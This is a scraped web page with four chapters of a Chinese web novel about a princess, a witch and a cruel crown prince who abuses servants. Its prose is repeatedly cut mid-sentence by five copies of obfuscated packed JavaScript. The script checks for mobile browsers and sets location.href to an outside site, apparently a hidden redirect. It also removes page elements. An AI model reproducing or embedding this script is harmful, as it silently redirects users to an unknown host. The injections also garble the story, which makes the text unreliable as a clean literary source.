“您也是在王宫里服侍多年的老人了，”辛西娅打断了侍女的话，对付不同的人需要不同的办法，对付侍女这样处事圆滑不爱说实话的，多少要给些威慑。“上面王子公主们的事，怪罪不到你头上，但若是你再这么绕圈子，那可就不一定了。” “殿下说的是，我哪里敢隐瞒。”侍女表情讪讪，显然是被说中了心思“贝拉我知道，她和我是同一批进的王宫，我们一起住了五年，彼此还算相熟。” “贝拉那个人啊，长的漂亮，家里有些小钱，自己又得了霍尔殿下的喜爱，所以平日里难免有些高傲，和其他侍女关系都一般， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930336|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯独我能和她说上几句。” “霍尔殿下喜欢长的漂亮的人，就把贝拉调去自己的宫殿侍奉，根据贝拉所说，霍尔殿下对她很看重，当然，贝拉说的话有几分真几分假，我就不知道了。” “因为霍尔殿下的宠爱，贝拉就……”说到这儿，侍女又吞吞吐吐起来“她……生了些不该有的心思。” 当时霍尔十五岁，这个年纪的王子已经算是半个成人，侍女也是人，也要为自己的前程考虑，哪怕当不成王妃，只当个几年情人，这其中能捞到的好处也是她们这些小人物一辈子都受用不尽的。 “继续说。”辛西娅知道自己找对了人，贝拉果然和霍尔有过不同寻常的关系。 “贝拉虽然胆子不小，但她一开始也不敢直接做什么，只好用些小手段。”侍女说的模糊，辛西娅倒是听懂了，无非是些勾引人的手段而已，在王宫中，这样做的人并不算少，只能说人往高处走，若是双方你情我愿，外人也管不着什么。 “霍尔殿下对贝拉还算容忍，”侍女用词很谨慎，其实在她看来，霍尔殿下从来没有拒绝过贝拉，某种意义上就等同于默认。“剩下的事我也不太清楚，只知道有一天贝拉从霍尔殿下的寝殿中出来，身上……有些痕迹，但神情却又不像是得逞了，后来的一段时间，她身上竟出现了鞭痕，人也愈发没精神，没过多久便主动请辞回乡了。” “我所说的句句属实，半点儿不敢欺瞒殿下。”侍女心里其实是有一点儿猜测的，毕竟她年长，又嫁过人，男女之间的那点儿事她不可能不知道，只是这种事放在旁人身上可能是心照不宣，放在王储身上，那她就是长了八个胆子也不敢说啊。 辛西娅沉默的回到王宫，虽然她和霍尔没多少感情，但骤然收获如此炸裂的消息还是让她一时间无法适应，在路上连差点儿撞到人。 “小心！” 一个十七八岁的少年扶住了辛西娅，辛西娅认识他，这人也是她的王兄之一，只是和她不是一母同胞，平日也不算熟悉。 “王兄，”辛西娅行了一礼，勉强挂起微笑寒暄“您近日清减了些，身体可还康健？” “啊……最近父王叫我去军队历练，辛苦是辛苦，不过也很有收获，辛西娅你最近过得怎么样？可是有什么烦心事？” 这位仅比霍尔小两岁，排行第二的王子笑出了一口大白牙，他的皮肤晒的黝黑，虽说穿着王子的服饰，却能看出几分朴实来。 辛西娅似是想到了什么，只搪塞了几句，更衣以后便匆匆去了王后所在的宫殿，花花舔了舔爪子，有些疑惑的看着辛西娅的背影。 “云云，小公主怎么啦？”花花跳到树上，看着远处提着裙摆都快跑起来的辛西娅“是发现什么了吗？” “是，也不是。”眠云想了一会儿才回答“她发现了，自己认为是秘密的事，或许并不是秘密。” 34. 第10章 在这王宫里，乍看之下好未必是真的好。 辛西娅赶到王后宫殿的时候，恰好霍尔也在，辛西娅微微平复了心情，提裙向二人行礼问安。 “王兄，母后。”辛西娅眉眼和顺，她的话不多，只在一旁看着霍尔和王后母慈子孝的温馨时刻，直到霍尔离开，她才又重新打量起这个自己认识了许多年的母亲。 “辛西娅，”王后笑了笑，神情不如刚才和蔼，却有几分欣慰“这次愉神，你做的不错。” “多谢母后夸奖，”辛西娅仍旧维持着以往温和、恭谨、礼貌的姿态，但她一时间却不知该从何说起。“母后，近来我为了提升愉神排名，功课落下了些，能否请您帮我同老师们说明，增加一些课程，好把过去落下的功课补上。” “好，”王后点头，又问了辛西娅学习的进度和成绩“你这孩子，向来是无需我费心的，有空闲的时候，你可以出去放松一下，多交些朋友。” “是，”辛西娅点头应下，又试探着问道“王兄……好像已经很久都没上过课了吧？” 作为王室成员，要学习的课程可不少，尤其是有继承权的王子，课程更是繁杂，以霍尔的学习进度，二十岁以前怎么也不可能全部学完。 “你王兄啊，”王后笑了笑“他不像你这么好学，母后也尊重他的喜好，霍尔他只要一直平安快乐就好。” 很平常的一句话，如果这话放在普通人家，甚至算的上是慈母之言，可前提是，霍尔没有生在王室，也不是王储。 “母后说的对，”辛西娅点头，不动声色的说道“王兄……比较有个性，我们这些做亲人的又何必一板一眼呢？” “你能这样想，就再好不过了。”王后有些意味深长的看着辛西娅“辛西娅，你很聪明，就是太沉不住气，你要知道，有些事并不是凭着一时意气就能做到的。” “我明白，”辛西娅再次行礼“多谢母后教诲。” 辛西娅回到寝殿以后，花花凑过来蹭了蹭她，她微笑着摸了一下花花的脑袋，神情却明显有些疲倦。 “觉得累了？”眠云似笑非笑的问道“还是……失望了？” “也不是，”辛西娅扯了扯嘴角“只是觉得，我之前确实是太天真了。” 之前她一直觉得，父王母后对王兄太纵容了些，宠惯的王兄实在不像话，但她却从来没有考虑过，或许这份纵容不是宠爱，而是放任。 旁的王室成员都要学习各种知识技能，公主需要结交贵族，王子需要进军队历练，可霍尔什么都不需要做，他想上课就上课，想旷课就旷课，哪怕一节课都不上，王后也只会轻描淡写的说几句，言辞间丝毫没有责备。 王室成员在成年之后便会开始议亲，就连小霍尔两岁的二王子近期也在选王妃，可从来没有人提过霍尔的婚事，他还是像过去那样任性又放荡，即使和男侍卫传出绯闻，也无人过问。 “每个人都有自己的立场，过分共情他人不是一件好事。”眠云随意拿起一本书翻了起来“你的父王母后不仅是你的亲人，他们更是这个国家的掌权者，在他们心里，国家的重量要大于儿女的重量，况且……哪怕他们想管，就真的能管的了吗？” “你是说……”辛西娅神情凝重了些“愉神榜？” “上次你不过是规劝了霍尔几句，让他不要因为一点儿小事就责打利奥，你的愉神榜排名就直接掉到了倒数第二。”眠云笑了笑“要是你的父母真的强迫霍尔学习，将和他有绯闻的利奥远远送走，那他们还能有命在吗？” 霍尔像是一个被宠坏的孩子，宠他的人不是他的父母，而是愉神榜外的观众。 因为有观众，所以他成了主角，一切不利于他的因素都要被抹除，哪怕是父母想教育他，也迫于愉神榜的压力无法开口。 或许一开始，国王和王后对霍尔还是有一点爱的，但这点爱经不住霍尔反复折腾，久而久之，国王和王后也放弃了他，干脆让他怎么舒服怎么来。 “权利是很残酷的，容不得温情也容不得正义，只有不进则退，你死我活。”眠云笑看向辛西娅“还要继续吗？或许你可以当做什么都没发生，你只是许了个提高愉神榜排名的愿望，而我已经帮你实现了这个愿望。” “……不。”出乎意料的，辛西娅很快给出了她的答案“还记得卡利克斯吗？那时我就说过，我希望他是以杀人罪被判处斩首，而不是因为背叛了一位公主而受到责罚，霍尔的事也是一样。” “我承认，愉神榜扭曲了人们的性格，不少人为了活命而去扮演不符合自己性格的人设，但我认为，如果将一切都怪罪到愉神榜头上，也是不合理的。” “霍尔的恶，固然有愉神榜的纵容，但更多的是他放纵了自己，肆无忌惮的伤害周围的人。” “父王母后对于霍尔的纵容，确实也有无奈，但更多是因为他们贵为国王王后，对普通百姓、对自己儿女的漠然。” “愉神榜有错，霍尔有错，我的父母，亦非正义。” “你这是要与全世界为敌吗？”眠云打趣道“放眼望去，整个王宫里全是你的敌人，难道你就不怕吗？” “……怕，可我不能因为怕就改变善恶标准。”辛西娅揉了揉眉心，显得很是疲倦“或许我穷尽一生都没办法完成这个目标，但至少我知道，我没有妥协。” “恭喜你，没有被你的母亲骗到。”眠云慢悠悠的说出了真相“其实你的父王母后早就有废储之心，只是因为愉神榜不敢妄动。” “他们自己不能动手，就想出了一个间接的方法。” “一方面，他们宠的霍尔无法无天，让他到处得罪人，另一方面，他们培养其他王子，让王子们接触权利，生出野心。” “他们当然知道，贸然杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935667|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死霍尔自己可能也会死，所以他们自己不动手，而是用这样迂回的方式为霍尔积攒仇恨，毕竟仇恨如果到了一定地步，哪怕付出生命代价，也会有人会选择动手。” “母后说的对，”辛西娅苦笑“生在王室，我却如此天真。” “啊……其实我反倒觉得这不是一件坏事。”眠云将书放到了辛西娅面前“你的成绩很好吧？书上的人你应该知道，她是凯瑟琳三世，赫瑟瑞的第一位女王。” “是的，”辛西娅用手指摩挲着起了毛边的书页，这本书她看过太多次，以至于哪怕每次翻看都很小心，书页的边缘还是有些皱。“凯瑟琳陛下真是一位伟大的人，她为赫瑟瑞增添了许多造福万民的法律条例。” “在凯瑟琳那个时代的人看来，她也很愚蠢，”眠云平静的说道“因为没有人相信女人可以成为国王，也没有人认为仆从也算人。” “真正伟大的人，在当时的人们看来都是愚蠢的理想主义者，”眠云拍了拍辛西娅的脑袋“可正是因为有这样不妥协的理想主义者，人类才能不断进步。” “如果你不想妥协，那就赢吧。”眠云认真的看着辛西娅“愉神榜、霍尔、你的父母，只要你一路赢过去，你就是对的。” 世人偏爱功成名就，天真的空想家与伟大的开创者之间可能只有一线之隔，输了，是想法天真不切实际，赢了，就是功在千秋名垂青史。 辛西娅维护公平正义的想法看似很天真，很不符合当权者权利至上的刻板印象，但如果她真的赢了，她会比一个满脑子权利斗争的国王更适合国王这个位置。 “我……真的可以吗？”辛西娅睫毛颤了颤，眼神有些迟疑“我真的能做到吗？” “为什么不能？”眠云反问“凯瑟琳在成为女王之前只是个私生女，她甚至没有公主的封号，只以女仆的身份待在王宫，在那个时候谁又能想到，她未来会成为女王呢？” “好，”辛西娅点头，忽然露出了一个笑来“女巫小姐，您全知全能，如果您这么说了，是不是就能说明，我在未来真的赢了？” “可不是什么人都能与我做交易的，”眠云笑了笑，倒是没有说这段因果她参与的太多，已经看不到未来了“你应该自信一些。” “女巫小姐说的对，”辛西娅郑重其事的点点头“从现在开始，我就是预备役女王，为了治理好我的国家，我会拼尽全力的。” “云云，”辛西娅走了以后，花花又扑到眠云怀里撒娇“我怎么感觉小公主有哪里不一样了？好像她整个人都……嗯……非常有精神？” “因为她想明白了，”眠云看向远方，嘴角沁着一抹笑“既然这件事她无法违背自己的良心选择坐视不理，那最好的方法就是赢。” 辛西娅未必真的信了眠云的话，但她必须要相信她能赢，否则这漫长且艰辛的路，她要如何走下去呢？ 35. 第11章 “利奥，”霍尔懒洋洋的叫了一声，却没有得到任何回应，他皱着眉再次出声“利奥！” “殿下，”高大健硕的侍卫悄无声息的出现在利奥身边，他左手握拳放在右肩，身体微微鞠躬行礼“属下在。” “我说过什么？”霍尔好看的眉眼阴沉了下来“别让我重复第二次！” “任何时候，只要殿下叫属下的名字，属下必须要回答，”利奥平静的叙述完霍尔单独给他立下的规矩后又说道“属下失职，还请殿下责罚。” “哼，你倒是自觉。”霍尔哼了一声“三十鞭，自己去领罚。” “是。”利奥一如既往的应下，丝毫未提他刚刚没有及时应答是因为霍尔让他去前方猎鹿。 “好无聊啊，”霍尔看着前方的草地树丛“利奥，你说那些鹿也太容易死了，不如往猎场里放些老虎狮子怎么样？这种野兽，应该能多挨几箭吧？” “在猎场中投放大型野兽太危险了，殿下。”利奥像是没听懂霍尔的话外音，仍是一本正经的回答。 “哈哈哈，不过是些畜牲而已，有什么危险的，”霍尔恶劣的笑了起来“我听说你不是最擅长和这些畜牲打架了吗？连你在我面前都乖顺的像条狗一样，它们又算什么？” 利奥出身不好，父亲是个赌鬼，他年幼的时候被父亲卖进了赌场，因为他生的高大健硕，所以被斗兽场看中买了去，可以说他的整个童年和大半个少年时光都是在与野兽的搏斗中度过的。 见利奥没有任何反应，霍尔觉得没意思，很快又转移了视线，他不喜欢那种一碰就哭哭啼啼的废物，但像利奥这样，太过沉默寡言，无论怎么折磨都无动于衷的，虽然比之前的好些，但还是不合他的心意。 难道这世界上就没有一个好玩儿的猎物吗？ 忽然，一抹火红色的身影映入霍尔眼帘，霍尔刚要细看，目光所及之处却没有任何红色，好像刚刚出现的人只是他的幻觉。 “霍尔殿下，”一个金发碧眼，衣着华丽的贵族小姐款款走来，她下马行了一礼，脸上挂着得体的微笑“今天我与殿下还真是有缘，没想到您也在猎场游玩。” “奥古斯小姐，”霍尔不情不愿的说了一句“真巧。” 奥古斯公爵在赫瑟瑞的地位不容小觑，眼前这位奥古斯小姐身为奥古斯公爵唯一的女儿，还是要给点面子的。 “殿下事务繁忙，我也不好多打扰。”以往难缠的奥古斯小姐这次竟出奇的善解人意，主动提出离开，霍尔刚要挥挥手把她打发走，却被一个红头发的人撞了个满怀。 “殿下！”爱玛双眼含泪，身上的衣服被鞭子抽的破破烂烂，双手还被粗麻绳绑着，她跌跌撞撞的跑过来求救“殿下救我！” “放肆！”奥古斯小姐一下子变了脸色，指着爱玛呵斥道“怎么能让这种贱民靠近殿下，快把她抓住！” 奥古斯小姐身后的护卫立刻动了起来，抬手就要把爱玛抓回来，爱玛也知道霍尔是唯一能护住她的人，她拼命往霍尔身后躲，霍尔津津有味的看着眼前这一幕，直到护卫快要抓住爱玛，他才开口叫停。 “好了，”霍尔慢悠悠的开口“奥古斯小姐，你为什么要抓这个女人？” “殿下？”奥古斯小姐显然有些惊讶，她指着爱玛说道“你该不会是和这个女人还有旧情吧？” “奥古斯小姐知道的不少，”霍尔嘴角勾起一抹冷笑，他不在乎爱玛，却不喜有人私自揣摩自己的喜好。“刀剑无眼，这猎场中，有人被当成猎物杀了也不奇怪，你说是吧？” “殿下，”奥古斯小姐的脸色唰的白了下去“请您听我说，我……” “奥古斯小姐，别让我再看到你，否则，你这么漂亮的女人，死的时候可就不漂亮了。”霍尔恶劣的笑着，眼神中的冷戾似乎能把人刺穿。 奥古斯小姐被吓的花容失色，连礼数都忘了转身就跑，霍尔无趣的瞥了奥古斯小姐一眼，又转头看向满身狼狈的爱玛。 “多谢殿下大恩，”爱玛已经恢复了平静，她跪在地上向霍尔叩首“小人感激不尽，来世愿做牛做马相报。” “来世？”霍尔原本觉得有些无聊，但听到爱玛这么说，他的兴趣又被提了起来“怎么，你是不想报答本殿下，所以才许个莫须有的来世吗？” “殿下恕罪，”爱玛停了动作，她虽说是跪着的，但眼神依旧清明而理智“小人不过蒲柳之姿，万不敢污了殿下的眼，今生无以为报，只愿来世相报。” “我记得你挺会服侍人的，那不如就到我宫里当个侍女吧。”霍尔紧盯着爱玛，像是盯住猎物的猎人“你都说愿意做牛做马了，当个侍女，算是抬举你了。” “殿下，”爱玛跟过霍尔三年，她很清楚霍尔的恶劣，她越是不愿意，霍尔越是要强迫。“小人家中还有父母亲人，况且在宫中服侍的侍女必须是未婚少女，小人已经订婚，三个月后就会成婚，这……” “那就退婚，”霍尔毫不犹豫的说道“你不是要给我当牛做马吗？怎么连这点儿小事都做不了？” “殿下？！”爱玛错愕的看着霍尔，霍尔心情很好的一挥手，让侍卫把爱玛带回王宫。 “王兄，”回到王宫以后，辛西娅微笑着向霍尔打了声招呼“听说王兄今日去了猎场，这位是……？” “我新收的女仆，”霍尔心情不错，难得话多了些“她说要当牛做马报答我，我就把她带进宫了，怎么样，不错吧？” “这……”辛西娅笑容有些不自然“这位小姐……是自愿的吗？她家中亲人可有人赡养？” “你管那么多干嘛？”霍尔有些不耐烦，他做事全凭高兴，哪里会想那么多。 辛西娅被吼的不敢说话，只好同情的看了爱玛一眼，又对她笑了笑以示安慰。 霍尔看到了这一幕，心里莫名憋闷，接下来的几天里，他开始加倍折腾爱玛，爱玛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943246|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于霍尔花样百出的恶作剧没有任何抱怨，却仍旧会在每天傍晚请求霍尔放她回家。 “殿下，”爱玛恭恭敬敬的跪在地上“请殿下恩准小人归家看望父母，小人的父母并不知小人遇险，还请殿下允许小人和家人报个平安。” “你现在是我的人，”霍尔最讨厌旁人对他提出要求，这些下等人连命都是他的，有什么资格和他谈条件？“歇了你那回去的心思，既然你都说了要报答我，那你就是死，也要死在王宫里！” “小人明白，”爱玛站起来，姿态依旧恭敬顺从，嘴里却说着霍尔最不爱听的话“今日殿下心情不佳，明日小人会继续恳求殿下允许小人归家。” 霍尔的性格喜怒无常，如何持续不断的激怒他，是一个颇有技巧的话题。 他厌恶歇斯底里理智全无的人，通常在被他处死之前破口大骂的人都会死的更快更痛苦，这一招行不通。 同样的，他也讨厌一味沉默顺从的人，在他看来，这样的人无趣且没有思想，对于这样的人，他会在一时兴起折磨几天以后迅速厌恶，导致计划无法执行。 爱玛对霍尔的喜好很了解，她能待在霍尔身边那么长时间，除了长的漂亮以外，更多的是她的性格很对霍尔的胃口，后来她有所察觉，改变了策略，无论霍尔说什么她都一味顺从不说话，这才让霍尔觉得无趣，渐渐放弃了她。 如今，爱玛想要提起霍尔的兴趣，故技重施是最好的办法。 “行，”霍尔笑了，他就喜欢这种有性格的人，越是这样的人，他就越有征服的快感“接下来三天，你到我身边服侍，要是你能受的住，那我就放你走。” “殿下说的话，我记住了，”爱玛轻轻点头“还请殿下言而有信，三日之后，放小人归家。” 现在的忍耐，为的是真正的自由。 “计划开始了，”辛西娅站在寝宫的窗前喃喃自语道“女巫小姐，你觉得我会成功吗？” 这些日子，她动用了一切可以动用的力量，只为扳倒霍尔，从而让愉神榜在赫瑟瑞消失，虽说她已经尽自己最大努力去做，但能不能成功，在下次愉神榜出现以前，都是未知数。 “为什么不会呢？”消失了好几天的眠云又忽然出现“你的计划很周密，应该不用如此担忧吧？” “我不怕付出代价，但我怕我辜负了他们的信任。”辛西娅苦笑着摇头“能同意并加入我这个计划的人，无不是终日不得安寝的可怜人，若我这次计划失败，他们身份又不高，可能连命都要丢了。” 如果说能要了辛西娅命的是愉神榜，那会要其他人命的就是权利，她一死，这些人无人庇佑，下场可想而知。 “他们都很清楚，可他们仍旧这么做了。”眠云不紧不慢的说道“辛西娅，你无法对每一个人负责，你们共同决定改变命运，后果也是共享，或许你应该更信任他们一些，毕竟，他们可是你亲自选出来的同伴啊。” 36. 第12章 同伴这个词，在利奥的人生中从未出现过。 在还没有被卖进斗兽场之前，邻居家比他大两岁的孩子是他的玩伴，但或许是因为利奥从小就沉默寡言，老实木讷，他的玩伴也喜欢捉弄或者欺负他，他并不喜欢对方，也不认为那样的人是他的同伴。 被卖进斗兽场之后，他能接触到的人类除了看守他们的守卫就只有和他一样的奴隶，奴隶与奴隶并不是朋友关系，他们会在斗兽场搏斗供人玩乐，也会相互争抢那少得可怜的面包，他们不是同伴，他们只是认识的人。 利奥很少跟人提起他是怎么从斗兽场出来的，所以也很少有人知道，他和辛西娅其实早就认识。 不，那不应该被称作认识，只能说是单方面见过，利奥永远都记得将奴隶们救出斗兽场的公主殿下，而金尊玉贵的公主大概不会注意到一个与污泥融为一体的奴隶。 那时候的他们，连认识都谈不上，更别说是同伴了。 离开斗兽场以后，利奥留在了骑士团做些伺候人的杂活，就连他自己都没想明白，他留在这里到底是为了讨生活，还是为了再见到那个遥不可及的人。 命运待他不薄，在骑士团的第三年，他终于再次见到了那个将他救出来的公主，他第一次知道了辛西娅的名字，而辛西娅也欣赏他的剑术，向骑士团举荐了他。 这个时候，他们才刚刚认识，自然也与同伴这个词无缘。 或许是在斗兽场的经历让利奥格外擅长格斗，又或许是他生来就有这个天赋，进入骑士团的利奥屡次被重用，甚至在二十四岁这一年成为了第五骑士团的团长。 过惯了苦日子的利奥对奢侈享受没什么兴趣，他也不在乎金钱权利，但在他当上骑士团团长的时候心里还是有些高兴的，毕竟奴隶和公主只能毫无交集，而骑士团团长却可以光明正大的和公主成为朋友。 如果事情就这样一直顺利的发展下去，或许这会是一个很浪漫的故事，但可惜，这个世界上的大部分事都是不尽如人意的。 利奥被指派给了霍尔做贴身侍卫，这其中的原因很复杂，有霍尔的一时兴起，更多却是骑士团内部的争斗。 之前的老骑士团团长很欣赏利奥的忠直，认为他是一个明辨是非之人，所以力排众议将利奥送上了骑士团团长的位置。可利奥出身平民，加入骑士团的时间不长，再加上不善交际，其他骑士团内的高层对他不满已久。 在被霍尔指为贴身侍卫以后，利奥虽未被撤职，但原本应该属于他的权利被架空，第五骑士团的所有事务皆由副团长处理，他这个团长反而很少再被提起。 利奥没有抱怨，或者说他几乎从来没有抱怨过，就连被父亲卖进斗兽场时，他也没有咒骂，只是默默的忍受着一切。 霍尔不是一个很好的主子，看的出来他当初选择利奥纯粹是恶作剧，得到了之后就没了兴趣，只是随便折腾人玩儿。 利奥不在乎霍尔的恶劣，事实上从进入王宫起他就一直在寻找一个人，一个……改变了他命运的人。 他原本以为，进入王宫对他来说虽不算好事，却阴差阳错得了靠近辛西娅的机会，四舍五入也不算太差，可就在这时，对于利奥而言而糟糕的事发生了，他被愉神榜选中，成为了神眷。 起初利奥并不知晓愉神榜的诀窍，他也不知道自己的人气为什么会在短时间内提升到愉神榜的第二位，实际上，愉神榜对他的生活改变并不大，他也没有过分注意。 直到有一次，辛西娅出面阻止了霍尔对他的责罚，愉神榜上她的排名却骤然掉落，这件事让他意识到，原来所谓的‘神’并不希望他被拯救，也不希望拯救他的人是辛西娅。 为什么？ 为什么他总是不被命运眷顾的那一个？ 利奥第一次对命运产生怨怼，难道高高在上的将众人玩弄于股掌之间的，就是所谓的‘神’吗？ 他想做些什么，但他能做的唯有离开。 远远的离开辛西娅，不为她带去危险，是他最后能为她做的事。 如果不是辛西娅说需要他，现在利奥恐怕已经离开王宫了。 同伴，她说，他们是同伴。 命运之神似乎总是喜欢和他开玩笑，在他即将放弃的追寻月亮，只打算远远看着她的时候，月亮竟落到了他的面前。 * “殿下，”第二天一早，爱玛如约出现在霍尔面前，她保持着一贯的平静，规规矩矩的行了个礼。“日安，爱玛前来服侍殿下。” “哦，是你啊。”霍尔闻言清醒了些，他嘴角一勾，将手一伸道“更衣。” 爱玛闻言，立刻将旁边侍从手里的衣服拿过来，她虽然没当过女仆，但好在穿衣服也不是什么特别难的事。 “放肆！”爱玛的手还没有碰到霍尔，霍尔就猛然呵斥“你的脏手也配碰我？！” “殿下恕罪，”爱玛立刻跪下，将衣服呈过头顶“小人不知殿下规矩，还请殿下恕罪。” “你怎么拿你的脏手碰殿下？”霍尔身边的侍从站了出来，声音尖细到让人不舒服“来人，掌嘴！” 他的话音刚落，旁边的侍从立刻上前一巴掌打在了爱玛的脸上，爱玛既不求饶也不呼痛，只这么直挺挺的跪在地上，任由侍从殴打。 “好了，”等听够了响声，霍尔才慢悠悠的叫停了侍从“这次念你是初犯，小惩大诫，下次若再犯，本殿下决不轻饶，更衣吧。” “小人愚钝，不知如何替殿下更衣，”爱玛语气十分诚恳“恳请平日里服侍殿下的大人们指点小人一二。” 刚刚说掌嘴的侍从偷偷看了霍尔一眼，他心里很清楚，更衣不碰到人是不可能的，无非是霍尔殿下想整治谁，他就当狗腿子叫嚣罢了。 “看我做什么？”霍尔语调依旧懒散“怎么，连更衣都不会，是平日里我对你们太宽容了？不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947179|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你们去监牢待一待，醒醒脑子如何？” “殿下饶命！”侍从的身体比脑子反应的快，他扑通一声跪倒在地上，但显然，求饶并不是一个好的选择，至少对于厌恶吵闹的霍尔来说，求饶的人，下场只有一个死。 没了这个首席狗腿子，霍尔又自持身份不肯亲自为难爱玛，接下来的几天爱玛虽过得艰难，但也勉强能过的下去，时间一晃而逝，说好的三日约定只剩最后一夜，只要爱玛安然渡过这个夜晚，霍尔就要如约放她归家。 夜色深重，偏殿之中更是连月光都透不进，唯有爱玛面前细弱的蜡烛在持续散发着光辉，她注视着蜡烛，就像在等待着最后时刻的到来。 蜡烛不知疲倦的燃烧着，融化的蜡泪堆积在桌上，形成了扭曲而古怪的形状，随着时间推移，就连这堆已经扭曲变形的蜡泪也燃烧了起来，可蜡烛终有燃尽的时候，火焰仍在一点点变小，直至最后一抹光也熄灭，整间屋子都陷入了黑暗。 “爱玛，”霍尔迎着黑暗走进来，他少见的没有带仆从，往日里比蓝宝石更耀眼的眼睛在黑暗的映衬下犹如毒蛇一般阴狠。“我以为，你没胆子离开我。” “那殿下许是小瞧了我，”爱玛没有再用以往那种恭恭敬敬的态度，二人默契的同时撕下了伪装，露出了尖锐的獠牙“我不这样做，又怎么能让殿下主动过来呢？” 霍尔最恨旁人愚弄他，爱玛的话可谓是对他贴脸开大，直接往他的雷点上踩。 “有意思，”霍尔怒极反笑，他一把掐住爱玛的脖子，力气大到几乎让爱玛窒息“这是你的新策略，想要吸引我的注意？” “对，”爱玛用力挣开霍尔的手，她脱掉了身上的衣服，只留下了一层轻薄的里衣，几乎遍布全身的伤疤清晰可见“殿下不是最喜欢我的身体了吗？我们刚认识的那三年，殿下每隔一段时间就会来找我，让我脱光衣服，用细长的鞭子在我身上留下这些痕迹。” “怎么，你是来报复我的？”霍尔嗤笑一声，他根本不相信，一个出身普通的农场主女儿会有能力报复。 “报复？”爱玛提高了音量，她也笑了，美人笑靥如花，语气中却充满嘲讽“不，我是同情你。” “我同情你，身为男人，却没有生育能力，在第一次发现这件事以后，你恼羞成怒杀了诱惑你的侍女，从此以后，你只有通过鞭打长相漂亮的女人才能获得慰籍。” “我同情你，身为王储，却丝毫没有王储的权利，只被王室当成一个好看的吉祥物豢养，比你年纪小的王子都已经开始去军队历练了，你还只想着在仆从面前作威作福，遇到贵族只敢口头威胁，从来动不了真格。” “也是，毕竟国王陛下不会让一个注定绝后，甚至无法宠幸后妃的王子继承国家，所以你没有任何实权，哪怕你想找这些贵族的麻烦又能怎么样呢？你根本做不到，除了仗着自己的侍卫厉害杀过几个纨绔以外，你什么都做不到。” 37. 第13章 要解决问题，就要找出问题的关键。 辛西娅在现代整整研究了三天的小说，她发现，耽美故事之所以受欢迎，是因为它可以讲述不受任何约束的爱情故事，可……如果读者所谓的爱情，并不是爱情呢？ 虽然她不清楚读者的脑回路为何如此清奇，能把霍尔趾高气昂的命令美化为傲娇，把利奥无可奈何的服从看作是宠溺包容，但毫无疑问，只要打碎观众的爱情滤镜，让利奥塌房这件事就完成了一半。 但……爱情本来就是非常飘渺的东西，说爱的人不一定真的爱，说不爱也不一定真的不爱，她到底要如何做，才能证明霍尔和利奥两个人并不相爱？ 有一个方法，并不算常规，但却很好用。 通常喜欢耽美的读者，可以接受男角色有前男友，却无法接受男角色有前女友，尤其是长期稳定交往过的前女友。 爱玛和霍尔虽然没有做到最后一步，但这并不代表他们没有身体接触，实际上，因为霍尔身体上的残缺，他反而喜欢和爱玛进行亲密接触，只要这件事被抖出来，霍尔瞬间就会塌房一大半。 至于另一半，就需要利奥的配合了。 * 霍尔是个不怎么聪明又很容易被激怒的人，他一直以为他身上的问题只有自己知道，没想到爱玛就这么毫不遮掩的将这件本该是秘密的事捅了出来。 如果说霍尔刚刚用手掐住爱玛的脖子只是在宣泄怒火，那现在举起烛台的霍尔是真的想杀了爱玛，只要杀了爱玛，他的秘密依旧是秘密。 和上次的消极抵抗不同，这次的爱玛变着法子拖延时间，虽说她的体力不行，但霍尔也只是个从来没有锻炼过的娇弱小少爷，两人就这样一追一躲，场面还真就僵持了下来。 “殿下，难道我说的有什么错吗？”爱玛一边躲，一边说道“当年贝拉爬你床的时候，你不是很高兴吗？一日夫妻百日恩啊，虽然贝拉发现了你不举，但你就因为这个杀了她，难道你不觉得惭愧吗？” “闭嘴！”霍尔被气的头脑发昏，口不择言“如果不是她坚持要走，我又怎么会杀了她，都是她的错，是她对不起我！” 